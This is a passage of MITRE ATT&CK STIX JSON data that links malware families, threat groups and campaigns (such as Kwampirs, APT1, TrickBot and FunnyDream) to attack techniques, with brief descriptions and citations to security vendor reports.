2023)","relationship_type":"uses","source_ref":"malware--663d7dee-5a47-459e-a5ef-e850a94a8ee5","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9b102737-2d47-4dd5-b4f2-2a323c506cfb","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/security-center/writeup/2016-081923-2700-99","description":"Moench, B. and Aboud, E. (2016, August 23). Trojan.Kwampirs. Retrieved May 10, 2018.","source_name":"Symantec Security Center Trojan.Kwampirs"}],"modified":"2020-03-18T20:10:20.892Z","description":"[Kwampirs](https://attack.mitre.org/software/S0236) downloads additional files from C2 servers.(Citation: Symantec Security Center Trojan.Kwampirs)","relationship_type":"uses","source_ref":"malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9b14bfc1-2c78-4ec9-ad02-aeed6f1cf83e","type":"relationship","created":"2020-10-14T00:44:35.270Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","source_name":"Mandiant APT1"}],"modified":"2020-10-14T00:44:35.270Z","description":"[APT1](https://attack.mitre.org/groups/G0006) has created email accounts for later use in social engineering, phishing, and when registering domains.(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9b1709f3-5062-42f1-82d9-191e66e1d14a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Backdoor.Nidiran","description":"Sponchioni, R.. (2016, March 11). Backdoor.Nidiran. Retrieved August 3, 2016.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2015-120123-5521-99"},{"source_name":"Microsoft SAM","description":"Microsoft. (2006, October 30). How to use the SysKey utility to secure the Windows Security Accounts Manager database. Retrieved August 3, 2016.","url":"https://support.microsoft.com/en-us/kb/310105"}],"modified":"2020-03-18T15:21:51.796Z","description":"[Nidiran](https://attack.mitre.org/software/S0118) can create a new service named msamger (Microsoft Security Accounts Manager), which mimics the legitimate Microsoft database by the same name.(Citation: Symantec Backdoor.Nidiran)(Citation: Microsoft SAM)","relationship_type":"uses","source_ref":"malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9b174c9b-eab5-4715-aa31-915689054baa","type":"relationship","created":"2020-03-19T17:09:03.530Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint SpeakUp Feb 2019","url":"https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/","description":"Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019."}],"modified":"2020-03-19T17:09:03.530Z","description":"[SpeakUp](https://attack.mitre.org/software/S0374) uses Perl scripts.(Citation: CheckPoint SpeakUp Feb 2019)","relationship_type":"uses","source_ref":"malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9b203f00-34db-475f-a28b-f5088d937f4e","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"AlienVault Sykipot 2011","description":"Blasco, J. (2011, December 12). Another Sykipot sample likely targeting US federal agencies. Retrieved March 28, 2016.","url":"https://www.alienvault.com/open-threat-exchange/blog/another-sykipot-sample-likely-targeting-us-federal-agencies"}],"modified":"2020-03-16T17:50:28.536Z","description":"[Sykipot](https://attack.mitre.org/software/S0018) may use ipconfig /all to gather system network configuration details.(Citation: AlienVault Sykipot 2011)","relationship_type":"uses","source_ref":"malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9b222cfd-8b08-4843-8b08-32e2476aba36","created":"2021-03-19T21:04:00.988Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Unit 42 Valak July 2020","description":"Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020.","url":"https://unit42.paloaltonetworks.com/valak-evolution/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T05:40:37.960Z","description":"[TA551](https://attack.mitre.org/groups/G0127) has used obfuscated variable names in a JavaScript configuration file.(Citation: Unit 42 Valak July 2020)","relationship_type":"uses","source_ref":"intrusion-set--94873029-f950-4268-9cfd-5032e15cb182","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9b2356e1-6544-40a7-a694-8ac36a1da1b7","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TechNet Ping","description":"Microsoft. (n.d.). Ping. Retrieved April 8, 2016.","url":"https://technet.microsoft.com/en-us/library/bb490968.aspx"}],"modified":"2018-10-17T00:14:20.652Z","description":"[Ping](https://attack.mitre.org/software/S0097) can be used to identify remote systems within a network.(Citation: TechNet Ping)","relationship_type":"uses","source_ref":"tool--b77b563c-34bb-4fb8-86a3-3694338f7b47","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9b2a5ea0-3199-44ee-a5a5-959e95d3a2e5","type":"relationship","created":"2020-07-15T20:23:36.330Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trusteer Carberp October 2010","url":"https://web.archive.org/web/20111004014029/http://www.trusteer.com/sites/default/files/Carberp_Analysis.pdf","description":"Trusteer Fraud Prevention Center. (2010, October 7). Carberp Under the Hood of Carberp: Malware & Configuration Analysis. Retrieved July 15, 2020."}],"modified":"2020-08-03T15:17:31.931Z","description":"[Carberp](https://attack.mitre.org/software/S0484) has created a hidden file in the Startup folder of the current user.(Citation: Trusteer Carberp October 2010)","relationship_type":"uses","source_ref":"malware--bbcd7a02-ef24-4171-ac94-a93540173b94","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9b2a6cfa-3b05-4809-b778-3752bb152c2d","created":"2022-06-10T19:56:07.904Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ClearSky Siamesekitten August 2021","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022.","url":"https://www.clearskysec.com/siamesekitten/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-14T18:01:58.507Z","description":"[Shark](https://attack.mitre.org/software/S1019) binaries have been named `audioddg.pdb` and `Winlangdb.pdb` in order to appear legitimate.(Citation: ClearSky Siamesekitten August 2021)","relationship_type":"uses","source_ref":"malware--99854cc8-f202-4e03-aa0a-4f8a4af93229","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9b2caa3d-10ae-471b-b0b1-527fbcd006ec","type":"relationship","created":"2020-05-08T17:17:37.635Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Cloud Atlas August 2019","url":"https://securelist.com/recent-cloud-atlas-activity/92016/","description":"GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."}],"modified":"2020-05-08T17:17:37.635Z","description":"(Citation: Kaspersky Cloud Atlas August 2019)","relationship_type":"uses","source_ref":"intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd","target_ref":"tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9b2f9a03-f477-4d1f-8542-27243fa6a3ab","created":"2022-06-15T13:42:21.185Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky Lyceum October 2021","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Milan](https://attack.mitre.org/software/S1015) can use the API `DnsQuery_A` for DNS resolution.(Citation: Kaspersky Lyceum October 2021)","modified":"2022-06-24T16:43:47.471Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--aea6d6b8-d832-4c90-a1bb-f52c6684db6c","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9b2ff8c9-3811-4615-a0c7-d79a14b7ade6","type":"relationship","created":"2020-08-31T15:06:48.169Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gamaredon June 2020","url":"https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/","description":"Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."}],"modified":"2020-08-31T15:06:48.169Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has injected malicious macros into all Word and Excel documents on mapped network drives.(Citation: ESET Gamaredon June 2020)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9b360cf4-4600-4ea8-a28c-99d91e0d1734","type":"relationship","created":"2017-05-31T21:33:27.075Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks","description":"DiMaggio, J. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016.","source_name":"Symantec Suckfly May 2016"}],"modified":"2019-03-25T16:59:47.237Z","description":"[Suckfly](https://attack.mitre.org/groups/G0039) the victim's internal network for hosts with ports 8080, 5900, and 40 open.(Citation: Symantec Suckfly May 2016)","relationship_type":"uses","source_ref":"intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9b363538-86e1-446a-a4f8-b3045a7e8f68","type":"relationship","created":"2021-10-12T21:50:33.176Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks IRON LIBERTY July 2019","url":"https://www.secureworks.com/research/resurgent-iron-liberty-targeting-energy-sector","description":"Secureworks. (2019, July 24). Resurgent Iron Liberty Targeting Energy Sector. Retrieved August 12, 2020."}],"modified":"2021-10-12T21:50:33.176Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has obtained and used tools such as [Mimikatz](https://attack.mitre.org/software/S0002), [CrackMapExec](https://attack.mitre.org/software/S0488), and [PsExec](https://attack.mitre.org/software/S0029).(Citation: Secureworks IRON LIBERTY July 2019)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9b36e877-e637-46b8-bdf1-def74c977472","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ProjectSauron Technical Analysis","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.","url":"https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"}],"modified":"2020-03-11T17:45:33.518Z","description":"[Remsec](https://attack.mitre.org/software/S0125) can obtain the OS version information, computer name, processor architecture, machine role, and OS edition.(Citation: Kaspersky ProjectSauron Technical Analysis)","relationship_type":"uses","source_ref":"malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9b39255f-16f4-4558-b7da-6a8b83e768eb","created":"2024-09-16T08:54:11.692Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T08:54:11.692Z","description":"[DUSTTRAP](https://attack.mitre.org/software/S1159) can enumerate infected system network information.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"malware--33139388-de0c-49ff-862a-041c315b142d","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9b43f780-6a8b-477f-826f-c45e867749c9","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.youtube.com/watch?v=fevGZs0EQu8","description":"Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.","source_name":"Mandiant FIN5 GrrCON Oct 2016"}],"modified":"2020-02-18T03:37:13.292Z","description":"[FIN5](https://attack.mitre.org/groups/G0053) has cleared event logs from victims.(Citation: Mandiant FIN5 GrrCON Oct 2016)","relationship_type":"uses","source_ref":"intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9b4a4f3b-d8f4-47d2-8e63-2687c566806b","created":"2022-09-22T00:35:20.035Z","revoked":false,"external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-22T00:35:20.035Z","description":"During [Night Dragon](https://attack.mitre.org/campaigns/C0002), threat actors used company extranet servers as secondary C2 servers.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"campaign--ae407e32-87e0-4d92-8705-3ae25d504d8a","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9b55c1b3-94fd-436f-8910-9d0519d3b5b4","created":"2022-10-10T16:45:49.484Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T13:24:36.772Z","description":"For [FunnyDream](https://attack.mitre.org/campaigns/C0007), the threat actors used a new backdoor named [FunnyDream](https://attack.mitre.org/software/S1044).(Citation: Bitdefender FunnyDream Campaign November 2020) ","relationship_type":"uses","source_ref":"campaign--8d2bc130-89fe-466e-a4f9-6bce6129c2b8","target_ref":"attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9b56f86f-656f-4e18-9557-84638de34f10","created":"2023-05-19T20:37:04.605Z","revoked":false,"external_references":[{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-05-19T20:37:04.605Z","description":"During [C0026](https://attack.mitre.org/campaigns/C0026), the threat actors used [QUIETCANARY](https://attack.mitre.org/software/S1076) to gather and exfiltrate data. (Citation: Mandiant Suspected Turla Campaign February 2023)","relationship_type":"uses","source_ref":"campaign--c89fa3ff-4773-4daf-8aec-d8f43f10116e","target_ref":"malware--93289ecf-4d15-4d6b-a9c3-4ab27e145ef4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9b59a1db-0b3d-4ce7-9cea-d91a71dd0a57","type":"relationship","created":"2021-01-13T20:16:23.597Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike SUNSPOT Implant January 2021","url":"https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/","description":"CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021."}],"modified":"2021-01-13T20:16:23.597Z","description":"[SUNSPOT](https://attack.mitre.org/software/S0562) used Windows API functions such as MoveFileEx and NtQueryInformationProcess as part of the [SUNBURST](https://attack.mitre.org/software/S0559) injection process.(Citation: CrowdStrike SUNSPOT Implant January 2021) ","relationship_type":"uses","source_ref":"malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9b5abfd2-7c22-48df-bda3-62648c6cac8c","created":"2024-02-14T18:46:22.579Z","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Update May 2021","description":"Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-14T18:46:22.579Z","description":"[APT5](https://attack.mitre.org/groups/G1023) has used Windows-based utilities to carry out tasks including tasklist.exe. (Citation: Mandiant Pulse Secure Update May 2021)","relationship_type":"uses","source_ref":"intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9b5d73dd-745c-4b4f-b6e6-55c86cc3b6ca","created":"2022-03-30T14:26:51.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T14:49:07.470Z","description":"Monitor newly executed processes that may perform sudo caching and/or use the sudoers file to elevate privileges.","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9b5e2072-35e7-4c62-baea-0e9d31df91f2","type":"relationship","created":"2019-06-14T16:51:02.198Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Hulcoop, A., et al. (2016, November 17). It’s Parliamentary KeyBoy and the targeting of the Tibetan Community. Retrieved June 13, 2019.","url":"https://citizenlab.ca/2016/11/parliament-keyboy/","source_name":"CitizenLab KeyBoy Nov 2016"}],"modified":"2020-03-17T19:28:58.473Z","description":"[KeyBoy](https://attack.mitre.org/software/S0387) uses VBS scripts for installing files and performing execution.(Citation: CitizenLab KeyBoy Nov 2016)","relationship_type":"uses","source_ref":"malware--5dd649c0-bca4-488b-bd85-b180474ec62e","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9b5e38b3-31b5-4734-bef2-c05904479430","type":"relationship","created":"2019-01-30T14:11:44.227Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/","source_name":"Trend Micro Trickbot Nov 2018"}],"modified":"2020-03-29T22:56:25.397Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) collects email addresses from Outlook.(Citation: Trend Micro Trickbot Nov 2018)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9b650df6-f965-45fa-9e5a-409202a46da7","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html","description":"Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.","source_name":"Talos CCleanup 2017"},{"url":"http://www.intezer.com/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/","description":"Rosenberg, J. (2017, September 20). Evidence Aurora Operation Still Active: Supply Chain Attack Through CCleaner. Retrieved February 13, 2018.","source_name":"Intezer Aurora Sept 2017"},{"source_name":"Avast CCleaner3 2018","description":"Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018.","url":"https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities"}],"modified":"2020-03-16T21:25:53.718Z","description":"[CCBkdr](https://attack.mitre.org/software/S0222) was added to a legitimate, signed version 5.33 of the CCleaner software and distributed on CCleaner's distribution site.(Citation: Talos CCleanup 2017)(Citation: Intezer Aurora Sept 2017)(Citation: Avast CCleaner3 2018)","relationship_type":"uses","source_ref":"malware--b0f13390-cec7-4814-b37c-ccec01887faa","target_ref":"attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9b69f1c0-ba37-478a-a3b9-c97b02761aee","created":"2022-10-13T15:26:50.257Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T15:26:50.257Z","description":"[FunnyDream](https://attack.mitre.org/software/S1044) has compressed collected files with zLib.(Citation: Bitdefender FunnyDream Campaign November 